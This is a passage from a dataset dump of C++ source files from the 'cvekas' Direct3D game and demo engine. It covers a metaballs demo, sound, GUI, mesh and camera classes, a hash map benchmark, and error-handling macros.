nShowCmd)\r\n{\r\n\ttry\r\n\t{\r\n\t\tSoundTest app(hInstance, \"Sound\", \"sound.log\");\r\n\t\tapp.run();\r\n\t}\r\n\tcatch (std::exception& e)\r\n\t{\r\n\t\tMessageBox(NULL, e.what(), \"Fatal error\", NULL);\r\n\t}\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.613450288772583, "alphanum_fraction": 0.6421052813529968, "avg_line_length": 24.858638763427734, "blob_id": "69a991739a9061be199c737d1325538a245cc155", "content_id": "4c83fdb6968e0ab45017f76de7078340fc118a9d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5130, "license_type": "no_license", "max_line_length": 125, "num_lines": 191, "path": "/samples/Metaballs/Metaballs.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"libraries.h\"\r\n\r\n#include \"Application.h\"\r\n#include \"Texture2DManipulator.h\"\r\n#include \"Filesystem.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\n// Fast float to int conversion. Simple (int)n cast would flush processor pipelines - resulting in hundreds of wasted cycles,\r\n// while this function takes only 3\r\nstatic inline int fast_float2int(const float n)\r\n{\r\n\tstatic int o;\r\n\t__asm\r\n\t{\r\n\t\tfld n\r\n\t\tlea eax, o\r\n\t\tfistp dword ptr[eax]\r\n\t}\r\n\treturn o;\r\n}\r\n\r\n// Clever 1/sqrt(n) trick from quake3\r\nstatic inline float fast_invsqrt(const float n)\r\n{\r\n\tstatic int i;\r\n\tstatic float x2, y;\r\n\tconst float threehalfs = 1.5f;\r\n\tx2 = n * 0.5f;\r\n\ty = n;\r\n\ti = * ( int * ) &y; \r\n\ti = 0x5f3759df - ( i >> 1 );\r\n\ty = * ( float * ) &i;\r\n\ty = y * ( threehalfs - ( x2 * y * y ) );\r\n\treturn y;\r\n}\r\n\r\n//Inverse distance between 2 2d vectors\r\nfloat invdistance(const Vector2& v1, const Vector2& v2) \r\n{ \r\n\treturn fast_invsqrt((v1.x - v2.x)*(v1.x - v2.x) + (v1.y - v2.y)*(v1.y - v2.y)); \r\n}\r\n\r\nclass Metaballs : public Application\r\n{\r\npublic:\r\n\tMetaballs(HINSTANCE instance, const std::string& name, const std::string& log_filename)\r\n\t\t:\r\n\tApplication(instance, name, log_filename)\r\n\t{\r\n\t\tFilesystem::init();\r\n\t}\r\n\r\n\tvirtual ~Metaballs() {}\r\n\r\n\tvirtual void initVideoDevice()\r\n\t{\r\n\t\tsettings->insert(\"video\", VideoSettings());\r\n\r\n\t\t(*settings)[\"video\"][\"ScreenWidth\"] = window_width;\r\n\t\t(*settings)[\"video\"][\"ScreenHeight\"] = window_height;\r\n\r\n\t\twindow = WindowPtr(new Window(instance, name));\r\n\t\twindow->showCursor(false);\r\n\t\tvideo_device->init(window);\r\n\t}\r\n\r\n\tvirtual void init()\r\n\t{\r\n\t\t// Create dynamic texture for blobs\r\n\t\tblobs = video_device->getTextureManager()->createTexture2D(\"blobs\", window_width/scale_factor, window_height/scale_factor, \r\n\t\t\tD3DFMT_X8R8G8B8, false, true);\r\n\t\t// Create manipulator for blobs texture\r\n\t\tblobs_manipulator = Texture2DManipulatorPtr(new Texture2DManipulator(blobs));\r\n\r\n\t\tsprite_batch = video_device->createSpriteBatch(main_renderer, window_width, window_width, 1000);\r\n\r\n\t\t// Generate palette\r\n\t\tfor(int n = 0; n < palette_size; ++n)\r\n\t\t{\r\n\t\t\t// Nice n^9 function scaled to fit in 0 - 255 range when input is in range 0 - pallete_size-1\r\n\t\t\t// And all this in pure integer arthmetic!\r\n\t\t\tint n3 = (n*n*n)/((palette_size*palette_size*palette_size)/64);\r\n\t\t\tchar color = (char)((n3*n3*n3)/(64*16));\r\n\t\t\tpalette[n] = Color(color, color, color, (char)255);\r\n\t\t}\r\n\r\n\t\tcenters[0] = Vector2(0.5f, 0.5f);\r\n\t\tcenters[1] = Vector2(0.33f, 0.85f);\r\n\t\tcenters[2] = Vector2(0.45f, 0.28f);\r\n\r\n\t\tstrengths[0] = 0.0781f;\r\n\t\tstrengths[1] = 0.08906f;\r\n\t\tstrengths[2] = 0.0986f;\r\n\r\n\t\t// Convert 0-1 coordinates to pixel coordinates\r\n\t\tfor(int n = 0; n < n_centers; ++n)\r\n\t\t{\r\n\t\t\tcenters[n].x *= (float)(window_width/scale_factor);\r\n\t\t\tcenters[n].y *= (float)(window_height/scale_factor);\r\n\t\t\tstrengths[n] *= (float)(window_height/scale_factor);\r\n\t\t}\r\n\r\n\t\tinput->getMouse()->setVirtualResolution(window_width/scale_factor, window_height/scale_factor);\r\n\t}\r\n\r\n\tvirtual bool update()\r\n\t{\r\n\t\tinput->getMouse()->update();\r\n\t\t\r\n\t\t// Set first blob center to mouse coordinates\r\n\t\tMousePos pos = input->getMouse()->getAbsolutePos();\r\n\t\tcenters[0] = Vector2((float)pos.x, (float)pos.y);\r\n\t\t\r\n\t\t// Update blobs texture\r\n\t\tfor(int y = 0; y < (window_height / scale_factor); ++y)\r\n\t\t{\r\n\t\t\tfor(int x = 0; x < (window_width / scale_factor); ++x)\r\n\t\t\t{\r\n\t\t\t\t// Calculate total field strength for every pixel...\r\n\t\t\t\tfloat total_strength = 0.0f;\r\n\t\t\t\tfor(int n = 0; n < n_centers; ++n)\r\n\t\t\t\t{\r\n\t\t\t\t\t// Calculate inverse distance (1/distance) to blob center...\r\n\t\t\t\t\tfloat dist = invdistance(centers[n], Vector2((float)x, (float)y));\r\n\t\t\t\t\t// Scale distance by blob strenght, add to total strenght\r\n\t\t\t\t\ttotal_strength += strengths[n] * dist;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t// Clamp it in range 0 - 1\r\n\t\t\t\tif(total_strength > 1.0f) total_strength = 1.0f;\r\n\t\t\t\t\r\n\t\t\t\t// Convert to address in our palette\r\n\t\t\t\tint index = fast_float2int(total_strength * (float)palette_size-1);\r\n\t\t\t\t// Store pixel color from palette\r\n\t\t\t\tblobs_manipulator->setPixel(x, y, palette[index]);\r\n\t\t\t}\r\n\t\t}\r\n\t\tblobs_manipulator->apply();\r\n\r\n\t\treturn true;\r\n\t}\r\n\r\n\tvirtual bool render()\r\n\t{\r\n\t\tvideo_device->beginScene();\r\n\r\n\t\tsprite_batch->draw(blobs, 0, RectF(), RectF(0.0f, 0.0f, float(window_width), float(window_height)));\r\n\t\tsprite_batch->present();\r\n\r\n\t\tmain_renderer->render();\r\n\r\n\t\tvideo_device->endScene();\r\n\t\tmain_renderer->endFrame();\r\n\r\n\t\treturn true;\r\n\t}\r\n\r\nprivate:\r\n\tstatic const int window_width = 512;\r\n\tstatic const int window_height = 512;\r\n\tstatic const int scale_factor = 2;\r\n\r\n\tstatic const int n_centers = 3;\r\n\tstatic const int palette_size = 512;\r\n\r\n\tVector2 centers[n_centers];\r\n\tfloat strengths[n_centers];\r\n\tColor palette[palette_size];\r\n\r\n\tSpriteBatchPtr sprite_batch;\r\n\t\r\n\tTexture2DPtr blobs;\r\n\tTexture2DManipulatorPtr blobs_manipulator;\r\n\r\n};\r\n\r\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR pCmdLine, int nShowCmd)\r\n{\r\n\tMetaballs demo(hInstance, \"Metaballs\", \"Metaballs.log\");\r\n\ttry\r\n\t{\r\n\t\tdemo.run();\r\n\t}\r\n\tcatch (std::exception& e)\r\n\t{\r\n\t\tMessageBox(NULL, e.what(), \"Fatal error\", NULL);\r\n\t}\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.708108127117157, "alphanum_fraction": 0.708108127117157, "avg_line_length": 21.769229888916016, "blob_id": "97e9af9b3ad8c8fdec0ea66fa86f74b954c6ea72", "content_id": "401c0162b3dd1134c7946bc8da129601c6fd9d6c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 925, "license_type": "no_license", "max_line_length": 88, "num_lines": 39, "path": "/source/SoundManager.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef SOUNDMANAGER_H\r\n#define SOUNDMANAGER_H\r\n\r\n#include \"ResourceManager.h\"\r\n#include \"Sound.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n// TODO: global volume setting\r\n\r\n/// Manages audio resources\r\nclass SoundManager : public ResourceManager<SoundPtr>\r\n{\r\npublic:\r\n\t/// Constructor\r\n\tSoundManager(HWND window_handle);\r\n\r\n\t/// Destructor\r\n\t~SoundManager();\r\n\r\n\t/// Loads sound sample into memory from file\r\n\t/// \\param name Sample name\r\n\t/// \\param filename Sample filename\r\n\tSoundPtr loadSample(const std::string& name, const std::string& filename);\r\n\r\n\t/// Loads new sound stream from file\r\n\t/// \\param name Stream name\r\n\t/// \\param filename Stream filename\r\n\tSoundPtr loadStream(const std::string& name, const std::string& filename);\r\n\r\n\t/// Updates playback buffer. Must be called each frame, Application takes care of this.\r\n\tvoid update();\r\n};\r\n\r\ntypedef boost::shared_ptr<SoundManager> SoundManagerPtr;\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.784140944480896, "alphanum_fraction": 0.784140944480896, "avg_line_length": 18.81818199157715, "blob_id": "72825778c3c936b5367f5797e64dd4a579a763da", "content_id": "0ba20cc84606a56cd68f7e4e894e9722e0a0d507", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 227, "license_type": "no_license", "max_line_length": 75, "num_lines": 11, "path": "/apps/Delirium/DisplaymodeDialog.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef DISPLAYMODE_DIALOG\r\n#define DISPLAYMODE_DIALOG\r\n\r\n#include \"DisplayModes.h\"\r\n#include \"VideoSettings.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nbool showDisplaymodeDialog(DisplayModesPtr modes, VideoSettings& settings);\r\n\r\n#endif" }, { "alpha_fraction": 0.7162790894508362, "alphanum_fraction": 0.7162790894508362, "avg_line_length": 15.972222328186035, "blob_id": "022892bcdc8b23fc68c98cc559b0bbd044f6d6eb", "content_id": "a2676ecdd443a5b095898d9854d9fa0164bb4c53", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 645, "license_type": "no_license", "max_line_length": 54, "num_lines": 36, "path": "/source/Engine.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef ENGINE_H\r\n#define ENGINE_H\r\n\r\n#include \"VideoDevice.h\"\r\n#include \"Input.h\"\r\n#include \"GUI.h\"\r\n#include \"SoundManager.h\"\r\n#include \"Settings.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Monostate which tracks fundamental engine services\r\nclass Engine\r\n{\r\npublic:\r\n\tEngine() {};\r\n\r\n\tVideoDevicePtr getVideoDevice();\r\n\tSoundManagerPtr getSoundManager();\r\n\tInputPtr getInput();\r\n\tGUIPtr getGUI();\r\n\tSettingsPtr getSettings();\r\n\r\nprivate:\r\n\tstatic VideoDevicePtr video_device;\r\n\tstatic SoundManagerPtr sound_manager;\r\n\tstatic InputPtr input;\r\n\tstatic GUIPtr gui;\r\n\tstatic SettingsPtr settings;\r\n\r\n\tfriend class Application;\r\n};\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.5847156643867493, "alphanum_fraction": 0.6374407410621643, "avg_line_length": 22.492753982543945, "blob_id": "5208de7e35edaa5961533715ba55644dd0e6afec", "content_id": "a4a44e1f68e1389478281457d73f8fd067cdc375", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1688, "license_type": "no_license", "max_line_length": 102, "num_lines": 69, "path": "/samples/StaticHashMap/StaticHashMapTest.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"libraries.h\"\r\n\r\n#include \"Log.h\"\r\n#include \"FileLogListener.h\"\r\n#include \"Timer.h\"\r\n#include \"StaticHashMap.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\ntemplate <typename Val, typename Key, size_t size>\r\nvoid testInsertion(StaticHashMap<Val, Key, size>& hash_map, uint n)\r\n{\r\n\tuint id[2] = {0, 0};\r\n\tTimeStamp t1 = Timer::getTimeStamp();\r\n\tfor(uint i = 0; i < n; ++i)\r\n\t{\r\n\t\tid[0] = i;\r\n\t\tid[1] = i;\r\n\r\n\t\thash_map.set(rand(), id);\r\n\t}\r\n\tTimeStamp t2 = Timer::getTimeStamp();\r\n\tt2 -= t1;\r\n\tLOG(FORMAT(\"Inserted %u items: %d us\", % n % t2.toMicroSec())); \r\n}\r\n\r\ntemplate <typename Val, typename Key, size_t size>\r\nvoid testRetrieval(StaticHashMap<Val, Key, size>& hash_map, uint n, uint item_count)\r\n{\r\n\tuint sum = 0;\r\n\tuint id[2] = {0, 0};\r\n\tTimeStamp t1 = Timer::getTimeStamp();\r\n\tfor(uint i = 0; i < n; ++i)\r\n\t{\r\n\t\tid[0] = rand() % item_count;\r\n\t\tid[1] = id[0];\r\n\r\n\t\tsum += hash_map.at(id);\r\n\t}\r\n\tTimeStamp t2 = Timer::getTimeStamp();\r\n\tt2 -= t1;\r\n\tLOG(FORMAT(\"Retrieved %u items from %u: %d us. Sum: %u\", % n % item_count % t2.toMicroSec() % sum)); \r\n}\r\n\r\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR pCmdLine, int nShowCmd)\r\n{\r\n\tLog::init();\r\n\tLog::addListener(FileLogListenerPtr(new FileLogListener(\"StaticHashMapTest.log\")));\r\n\r\n\tStaticHashMap<uint, uint[2], 10000> hash_map0, hash_map1, hash_map2(9000);\r\n\r\n\tsrand(666);\r\n\r\n\tTimer::reset();\r\n\r\n\t// Insertion\r\n\ttestInsertion(hash_map0, 2500);\r\n\ttestInsertion(hash_map1, 5000);\r\n\ttestInsertion(hash_map2, 9000);\r\n\t\r\n\t// Retrieval\r\n\ttestRetrieval(hash_map0, 100000, 2500);\r\n\ttestRetrieval(hash_map1, 100000, 5000);\r\n\ttestRetrieval(hash_map2, 100000, 9000);\r\n\r\n\tLog::release();\r\n\treturn 0;\r\n}" }, { "alpha_fraction": 0.6581575870513916, "alphanum_fraction": 0.6581575870513916, "avg_line_length": 19.5, "blob_id": "e653a543492505e5a6e12c164614bd8df894701c", "content_id": "597660268b83a3f00c6bff2d5a61a4e6e526f0d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 901, "license_type": "no_license", "max_line_length": 115, "num_lines": 42, "path": "/source/Exception.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef EXCEPTION_H\r\n#define EXCEPTION_H\r\n\r\n#include \"Log.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// %Cvekas exception\r\nclass Exception: public std::exception\r\n{\r\npublic:\r\n\t/// Constructor\r\n\t/// \\param message Description of exception\r\n\t/// \\param file Source file where exception was thrown\r\n\t/// \\param line Line where exception was thrown\r\n\tException(const std::string& message, const std::string& file, int line): message(message), file(file), line(line)\r\n\t{\r\n#ifdef _DEBUG\r\n\t\tLOG(FORMAT(\"Exception thrown in %s:%d:%s\", % file % line % message));\r\n#endif\r\n\t}\r\n\t\r\n\t/// Destructor\r\n\tvirtual ~Exception() {}\r\n\r\n\t/// Provides description of exception\r\n\tvirtual const char* what() const throw()\r\n\t{\r\n\t\treturn message.c_str();\r\n\t}\r\n\r\nprotected:\r\n\tconst std::string message;\r\n\tconst std::string file;\r\n\tconst int line;\r\n};\r\n\r\n#define EXCEPTION(msg) (Exception((msg), __FILE__, __LINE__))\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.7461328506469727, "alphanum_fraction": 0.7497725486755371, "avg_line_length": 22.46666717529297, "blob_id": "180fe4bc74e6a7bbf97f131135dadbdf2e28c55b", "content_id": "b38c3ccd526eb474e5ca6ee9ae0c5d9ba2e16644", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1099, "license_type": "no_license", "max_line_length": 92, "num_lines": 45, "path": "/apps/Delirium/TriFractal.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef TRI_FRACTAL_H\r\n#define TRI_FRACTAL_H\r\n\r\n#include \"Demo.h\"\r\n#include \"VectorBatch.h\"\r\n#include \"RenderTarget.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nclass TriFractal : public TimelineSegment\r\n{\r\npublic:\r\n\tTriFractal(RendererPtr renderer, VectorBatchPtr vector_batch, SpriteBatchPtr sprite_batch);\r\n\tvirtual ~TriFractal();\r\n\r\n\tvirtual void init(boost::weak_ptr<Demo> owner);\r\n\tvirtual void close();\r\n\t\r\n\tvirtual void update(float t);\r\n\tvirtual void render(float t);\r\n\t\r\nprotected:\r\n\tvoid drawFractal(const Vector2& pos, float distance, float distance_ratio, \r\n\t\tfloat size, float size_ratio, float rotation, float delta_rotation, int depth);\r\n\r\n\tVector2 fractal_position;\r\n\tfloat fractal_distance;\r\n\tfloat fractal_distance_ratio;\r\n\tfloat fractal_size;\r\n\tfloat fractal_size_ratio;\r\n\tfloat fractal_rotation;\r\n\tfloat fractal_delta_rotation;\r\n\tint fractal_depth;\r\n\r\nprivate:\r\n\tVectorBatchPtr vector_batch;\r\n\tSpriteBatchPtr sprite_batch;\r\n\tRenderTargetPtr offscreen_target1;\r\n\tRenderTargetPtr offscreen_target2;\r\n\tRendererPtr renderer;\r\n};\r\n\r\ntypedef boost::shared_ptr<TriFractal> TriFractalPtr;\r\n\r\n#endif" }, { "alpha_fraction": 0.6283009648323059, "alphanum_fraction": 0.6552067995071411, "avg_line_length": 22.77777862548828, "blob_id": "58bbf87f20ddf41d131b7c51b1663f1106312434", "content_id": "856961fc574c82938014f695e62edb96c6dbadea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2007, "license_type": "no_license", "max_line_length": 99, "num_lines": 81, "path": "/samples/Mesh/MeshTest.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"libraries.h\"\r\n\r\n#include \"Application.h\"\r\n#include \"Filesystem.h\"\r\n#include \"Mesh.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nclass MeshTest: public Application\r\n{\r\npublic:\r\n\tMeshTest(HINSTANCE instance, const std::string& name, const std::string& log_filename)\r\n\t\t: Application(instance, name, log_filename), \r\n\t\t camera(Vector3(0.0f, 0.0f, -4.0f), Vector3(0.0f, 0.0f, 1.0f), Vector3(0.0f, 1.0f, 0.0f)) \r\n\t{\r\n\t\tFilesystem::init();\r\n\t}\r\n\r\n\tvirtual ~MeshTest()\r\n\t{\r\n\t}\r\n\r\n\tvirtual void initVideoDevice()\r\n\t{\r\n\t\tsettings->insert(\"video\", VideoSettings());\r\n\r\n\t\t(*settings)[\"video\"][\"ScreenWidth\"] = 800;\r\n\t\t(*settings)[\"video\"][\"ScreenHeight\"] = 600;\r\n\t\t(*settings)[\"video\"][\"VSync\"] = false;\r\n\t\t(*settings)[\"video\"][\"Fullscreen\"] = false;\r\n\r\n\t\twindow = WindowPtr(new Window(instance, name));\r\n\t\tvideo_device->init(window);\r\n\t\tvideo_device->setProjectionMatrix(Matrix::perspective(pi / 4.0f, 800.0f / 600.0f, 1.0f, 80.0f));\r\n\t}\r\n\r\n\tvirtual void init()\r\n\t{\r\n\t\tMeshPtr monkey_mesh = MeshPtr(new Mesh(Filesystem::redirect(\"Monkey.cmf\")));\r\n\t\tEffectPtr monkey_effect = effect_manager->load(\"Monkey\", Filesystem::redirect(\"Monkey.fx\"));\r\n\t\tmonkey = RenderableMeshPtr(new RenderableMesh(monkey_mesh, monkey_effect, EffectParamsPtr(), 0));\r\n\t}\r\n\r\n\tvirtual bool update()\r\n\t{\r\n\t\tfloat t = Timer::getTimeMs() / 1000.0f;\r\n\t\tmonkey->setRotation(Vector3(0.0f, t, 0.0f));\r\n\t\treturn true;\r\n\t}\r\n\r\n\tvirtual bool render()\r\n\t{\r\n\t\tvideo_device->getRenderingParams().setCamera(camera);\r\n\r\n\t\tvideo_device->beginScene();\r\n\t\tmain_renderer->prepare(*monkey);\r\n\t\tmain_renderer->render();\r\n\t\tvideo_device->endScene();\r\n\t\tmain_renderer->endFrame();\r\n\r\n\t\treturn true;\r\n\t}\r\nprivate:\r\n\tSimpleCamera camera;\r\n\tRenderableMeshPtr monkey;\r\n};\r\n\r\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR pCmdLine, int nShowCmd)\r\n{\r\n\ttry\r\n\t{\r\n\t\tMeshTest app(hInstance, \"Mesh\", \"mesh.log\");\r\n\t\tapp.run();\r\n\t}\r\n\tcatch (std::exception& e)\r\n\t{\r\n\t\tMessageBox(NULL, e.what(), \"Fatal error\", NULL);\r\n\t}\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.6212624311447144, "alphanum_fraction": 0.6540697813034058, "avg_line_length": 22.079999923706055, "blob_id": "aade62d52e10c6d21c1f8e19e0c46f919d2f447e", "content_id": "9023ed16cee3f4deca717cc187a6c0d2220d9a3b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2408, "license_type": "no_license", "max_line_length": 93, "num_lines": 100, "path": "/samples/GUI/GUITest.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"libraries.h\"\r\n\r\n#include \"Application.h\"\r\n#include \"GUI.h\"\r\n#include \"DefaultGUIStyle.h\"\r\n#include \"Filesystem.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nclass GUIDemo : public Application\r\n{\r\npublic:\r\n\tGUIDemo(HINSTANCE instance, const std::string& name, const std::string& log_filename)\r\n\t\t:\r\n\tApplication(instance, name, log_filename)\r\n\t{\r\n\t\tFilesystem::init();\r\n\t}\r\n\r\n\tvirtual ~GUIDemo() {}\r\n\r\n\tvirtual void initVideoDevice()\r\n\t{\r\n\t\tsettings->insert(\"video\", VideoSettings());\r\n\r\n\t\t(*settings)[\"video\"][\"ScreenWidth\"] = 800;\r\n\t\t(*settings)[\"video\"][\"ScreenHeight\"] = 600;\r\n\t\t(*settings)[\"video\"][\"VSync\"] = false;\r\n\t\t(*settings)[\"video\"][\"Fullscreen\"] = false;\r\n\r\n\t\twindow = WindowPtr(new Window(instance, name));\r\n\t\twindow->showCursor(false);\r\n\t\tvideo_device->init(window);\r\n\t}\r\n\r\n\tvirtual void init()\r\n\t{\r\n\t\tsprite_batch = video_device->createSpriteBatch(main_renderer, 800, 600, 0);\r\n\t\tgui_style = DefaultGUIStylePtr(new DefaultGUIStyle(sprite_batch));\r\n\t\tgui = GUIPtr(new GUI(gui_style, input));\r\n\t\tsetGUI(gui);\r\n\r\n\t\tvideo_device->setClearColor(Color(255, 255, 255));\r\n\r\n\t\tinput->getMouse()->setVirtualResolution(800, 600);\r\n\r\n\t\tselector_items.push_back(std::string(\"Selection1\"));\r\n\t\tselector_items.push_back(std::string(\"Selection2\"));\r\n\t\tselector_items.push_back(std::string(\"The Third\"));\r\n\t\tselector_items.push_back(std::string(\"1234897446\"));\r\n\t}\r\n\r\n\tvirtual bool update()\r\n\t{\r\n\t\tinput->getMouse()->update();\r\n\t\treturn true;\r\n\t}\r\n\r\n\tvirtual bool render()\r\n\t{\r\n\t\tvideo_device->beginScene();\r\n\r\n\t\tgui->doLabel(Vector2(10.0f, 10.0f), FORMAT(\"FPS: %d\", % Timer::getFPS()));\r\n\t\tgui->doButton(Vector2(10.0f, 50.0f), \"GUI Button!!!\");\r\n\t\tgui->doSwitch(Vector2(10.0f, 120.0f), \"GUI Switch!!!\");\r\n\t\tgui->doSlider(Vector2(10.0f, 190.0f));\r\n\t\tgui->doSelector(Vector2(10.0f, 260.0f), selector_items);\r\n\r\n\t\tgui->present();\r\n\r\n\t\tsprite_batch->present();\r\n\t\tmain_renderer->render();\r\n\r\n\t\tvideo_device->endScene();\r\n\t\tmain_renderer->endFrame();\r\n\t\treturn true;\r\n\t}\r\n\r\nprivate:\r\n\tSpriteBatchPtr sprite_batch;\r\n\tDefaultGUIStylePtr gui_style;\r\n\tGUIPtr gui;\r\n\r\n\tstd::vector<std::string> selector_items;\r\n};\r\n\r\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR pCmdLine, int nShowCmd)\r\n{\r\n\tGUIDemo demo(hInstance, \"GUITest\", \"GUITest.log\");\r\n\ttry\r\n\t{\r\n\t\tdemo.run();\r\n\t}\r\n\tcatch (std::exception& e)\r\n\t{\r\n\t\tMessageBox(NULL, e.what(), \"Fatal error\", NULL);\r\n\t}\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.7290322780609131, "alphanum_fraction": 0.7290322780609131, "avg_line_length": 21.12765884399414, "blob_id": "c93b3147691a6441ef15f2f2fc8c638d301dd363", "content_id": "b16c8ec2dd6188400209d91af1dcbe40d1fb0c3e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1085, "license_type": "no_license", "max_line_length": 91, "num_lines": 47, "path": "/apps/Collapse/Menus.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef MENUS_H\r\n#define MENUS_H\r\n\r\n#include \"StateManager.h\"\r\n#include \"BitmapFont.h\"\r\n#include \"GUI.h\"\r\n#include \"CollapseGUIStyle.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nclass MainMenu : public State\r\n{\r\npublic:\r\n\tMainMenu(RendererPtr main_renderer, BitmapFontPtr font)\r\n\t\t: State(main_renderer), font(font)\r\n\t{\r\n\t\tEngine e;\r\n\t\tgui = e.getGUI();\r\n\t}\r\n\r\n\tvirtual void render(const StateManager& state_manager); \r\n\tvirtual void fade(const StateManager& state_manager, float amount, uint from, uint to);\r\n\r\nprivate:\r\n\tGUIPtr gui;\r\n\tBitmapFontPtr font;\r\n};\r\ntypedef boost::shared_ptr<MainMenu> MainMenuPtr;\r\n\r\nclass OptionsMenu : public State\r\n{\r\npublic:\r\n\tOptionsMenu(RendererPtr main_renderer, BitmapFontPtr font, CollapseGUIStylePtr gui_style);\r\n\r\n\tvirtual void render(const StateManager& state_manager); \r\n\tvirtual void fade(const StateManager& state_manager, float amount, uint from, uint to);\r\n\r\nprivate:\r\n\tGUIPtr gui;\r\n\tCollapseGUIStylePtr gui_style;\r\n\tBitmapFontPtr font;\r\n\r\n\tstd::vector<std::string> resolutions;\r\n};\r\ntypedef boost::shared_ptr<OptionsMenu> OptionsMenuPtr;\r\n\r\n#endif" }, { "alpha_fraction": 0.644618809223175, "alphanum_fraction": 0.6547085046768188, "avg_line_length": 14.254545211791992, "blob_id": "8bcf92097ebd3530c647aedf9c0dd1074a4848ca", "content_id": "9ecc558b2d01131ac6ce9a5b271b221f3478060b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 892, "license_type": "no_license", "max_line_length": 85, "num_lines": 55, "path": "/source/Camera.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Camera.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nSimpleCamera::SimpleCamera(const Vector3 &pos, const Vector3 &dir, const Vector3 &up)\r\n\t: pos(pos), dir(dir), up(up), rebuild_matrix(true)\r\n{\r\n}\r\n\r\nMatrix SimpleCamera::getViewMatrix() const\r\n{\r\n\tif(rebuild_matrix)\r\n\t{\r\n\t\tview = Matrix::lookAt(pos, pos + dir, up);\r\n\t\trebuild_matrix = false;\r\n\t}\r\n\r\n\treturn view;\r\n}\r\n\r\nVector3 SimpleCamera::getPosition() const\r\n{\r\n\treturn pos;\r\n}\r\n\r\nVector3 SimpleCamera::getDirection() const\r\n{\r\n\treturn dir;\r\n}\r\n\r\nVector3 SimpleCamera::getUp() const\r\n{\r\n\treturn up;\r\n}\r\n\r\nvoid SimpleCamera::setPosition(const Vector3& pos)\r\n{\r\n\trebuild_matrix = true;\r\n\tthis->pos = pos;\r\n}\r\n\r\nvoid SimpleCamera::setDirection(const Vector3& dir)\r\n{\r\n\trebuild_matrix = true;\r\n\tthis->dir = dir;\r\n}\r\n\r\nvoid SimpleCamera::setUp(const Vector3& up)\r\n{\r\n\trebuild_matrix = true;\r\n\tthis->up = up;\r\n}\r\n\r\n} // namespace" }, { "alpha_fraction": 0.6226415038108826, "alphanum_fraction": 0.6226415038108826, "avg_line_length": 18.323530197143555, "blob_id": "80b5813662a934216493e60e99dfb2ffb9a0c457", "content_id": "dd10722b9cf43d33db753782ae5628cd8907d56c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 689, "license_type": "no_license", "max_line_length": 82, "num_lines": 34, "path": "/source/ErrorHandlers.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef ERRORHANDLERS_H\r\n#define ERRORHANDLERS_H\r\n\r\nnamespace Cvekas {\r\n\r\n/// Error checking macro for methods returning HRESULT. Outputs error to log.\r\n#define E_L(func) \\\r\n{ \\\r\n\tHRESULT hr = (func); \\\r\n\tif(FAILED(hr)) \\\r\n\t{ \\\r\n\t\tLOG(FORMAT(#func \" failed, return value: %X\", % hr)); \\\r\n\t} \\\r\n}\r\n\r\n/// Error checking macro for methods returning HRESULT. On error throws Exception.\r\n#define E_E(func) \\\r\n{ \\\r\n\tHRESULT hr = (func); \\\r\n\tif(FAILED(hr)) \\\r\n\t{ \\\r\n\t\tthrow EXCEPTION(FORMAT(#func \" failed, return value: %X\", % hr)); \\\r\n\t} \\\r\n}\r\n\r\n/// Converts HRESULT 